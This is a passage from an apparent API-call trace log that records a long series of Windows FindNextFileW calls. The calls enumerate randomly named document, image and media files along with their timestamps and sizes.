ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OpdqDACZhn.ots", cAlternateFileName="")) returned 1 [0139.773] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xxTfgN.jpg", cAlternateFileName="")) returned 1 [0139.773] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xaeb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="1HtpGhRDb.ots", cAlternateFileName="")) returned 1 [0139.773] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11bb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="tE4nVH8Z0MXjyxhaHaNx.pdf", cAlternateFileName="")) returned 1 [0139.773] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11d7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="IBowTJ.csv", cAlternateFileName="")) returned 1 [0139.773] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9776, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAYEd2GbRKcU4.jpg", cAlternateFileName="")) returned 1 [0139.774] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPTqG3qP.ots", cAlternateFileName="")) returned 1 [0139.774] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="2cHgIoncB.wav", cAlternateFileName="")) returned 1 [0139.774] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrKxpbhKKRTpU.docx", cAlternateFileName="")) returned 1 [0139.774] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x14c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="8AEDnDa.avi", cAlternateFileName="")) returned 1 [0139.774] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12e32, dwReserved0=0x0, dwReserved1=0x0, cFileName="fmkPuhgsIQDpQcV3y.ppt", cAlternateFileName="")) returned 1 [0139.774] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17bcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oul9aMfiTm6Pt28KJ.xls", cAlternateFileName="")) returned 1 [0139.774] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x145e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="cdbHKY8ircatAsd.mp3", cAlternateFileName="")) returned 1 [0139.774] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="EInIzXIEURKe2P.odt", cAlternateFileName="")) returned 1 [0139.774] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c9a4d6, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c9a4d6, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xfc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDBM7MBYaR.mp3", cAlternateFileName="")) returned 1 [0139.774] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x166d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="s6tY3yjB6Dh6qgWl.odp", cAlternateFileName="")) returned 1 [0139.775] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17be7, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrfjPtip.xlsx", cAlternateFileName="")) returned 1 [0139.775] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbcf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qllIIB4PUCq.m4a", cAlternateFileName="")) returned 1 [0139.775] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd729, dwReserved0=0x0, dwReserved1=0x0, cFileName="ry23qi7rroS58F.m4a", cAlternateFileName="")) returned 1 [0139.775] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cfbf64, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cfbf64, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="zl76M0AJ2xe.ppt", cAlternateFileName="")) returned 1 [0139.775] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11bfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="kiZ0JG9WrlZl.ppt", cAlternateFileName="")) returned 1 [0139.775] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13240, dwReserved0=0x0, dwReserved1=0x0, cFileName="byUWhwwpU4G7YhqN.png", cAlternateFileName="")) returned 1 [0139.775] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13665, dwReserved0=0x0, dwReserved1=0x0, cFileName="3lJ1cmsj7wnHDKlL1.xls", cAlternateFileName="")) returned 1 [0139.775] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x7fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="U2BmDJ.odp", cAlternateFileName="")) returned 1 [0139.775] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd501, dwReserved0=0x0, dwReserved1=0x0, cFileName="P3XntTjRFtRk.png", cAlternateFileName="")) returned 1 [0139.775] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x58a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="D2y4L1elku1D.pps", cAlternateFileName="")) returned 1 [0139.775] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x14a5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bbqSpo4X5l6kKSSGQegr.jpg", cAlternateFileName="")) returned 1 [0139.776] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13305, dwReserved0=0x0, dwReserved1=0x0, cFileName="TqvR2yMTxIsft9J01h3.m4a", cAlternateFileName="")) returned 1 [0139.776] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17360, dwReserved0=0x0, dwReserved1=0x0, cFileName="LtLIcHIqo8.wav", cAlternateFileName="")) returned 1 [0139.776] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xaee1, dwReserved0=0x0, dwReserved1=0x0, cFileName="eMZLYEuOXmzJe.avi", cAlternateFileName="")) returned 1 [0139.776] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12466, dwReserved0=0x0, dwReserved1=0x0, cFileName="iVoyxyaCL.doc", cAlternateFileName="")) returned 1 [0139.776] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x798b, dwReserved0=0x0, dwReserved1=0x0, cFileName="yPKKv7fQ4YK.mkv", cAlternateFileName="")) returned 1 [0139.776] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xe461, dwReserved0=0x0, dwReserved1=0x0, cFileName="T3PGQZ2VabtjY5.mp4", cAlternateFileName="")) returned 1 [0139.776] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x7545, dwReserved0=0x0, dwReserved1=0x0, cFileName="YMZNKV4.mkv", cAlternateFileName="")) returned 1 [0139.776] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11664, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppEQNd41NzmPglbQ.ppt", cAlternateFileName="")) returned 1 [0139.776] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x181da, dwReserved0=0x0, dwReserved1=0x0, cFileName="4Qalr2j5fIEqdQ0.swf", cAlternateFileName="")) returned 1 [0139.776] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17557, dwReserved0=0x0, dwReserved1=0x0, cFileName="NZjMmNKkZjRI.png", cAlternateFileName="")) returned 1 [0139.776] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x120f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="2f5wUY1aFYJTCEwR.odp", cAlternateFileName="")) returned 1 [0139.777] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa155, dwReserved0=0x0, dwReserved1=0x0, cFileName="tdyTR6vSlTZHl.m4a", cAlternateFileName="")) returned 1 [0139.777] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x80b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="GCXxiNbD.avi", cAlternateFileName="")) returned 1 [0139.777] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5791, dwReserved0=0x0, dwReserved1=0x0, cFileName="KwuGmh9JdfDxPED09.jpg", cAlternateFileName="")) returned 1 [0139.777] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x88b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="7ZwyeX1xh.doc", cAlternateFileName="")) returned 1 [0139.777] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13e67, dwReserved0=0x0, dwReserved1=0x0, cFileName="EkCDp.xls", cAlternateFileName="")) returned 1 [0139.777] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="p2b1gzQI.xls", cAlternateFileName="")) returned 1 [0139.777] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa169, dwReserved0=0x0, dwReserved1=0x0, cFileName="VF8E6ekoFe4DVWHEy.flv", cAlternateFileName="")) returned 1 [0139.777] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x8136, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSKEoPSkeN.jpg", cAlternateFileName="")) returned 1 [0139.777] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, 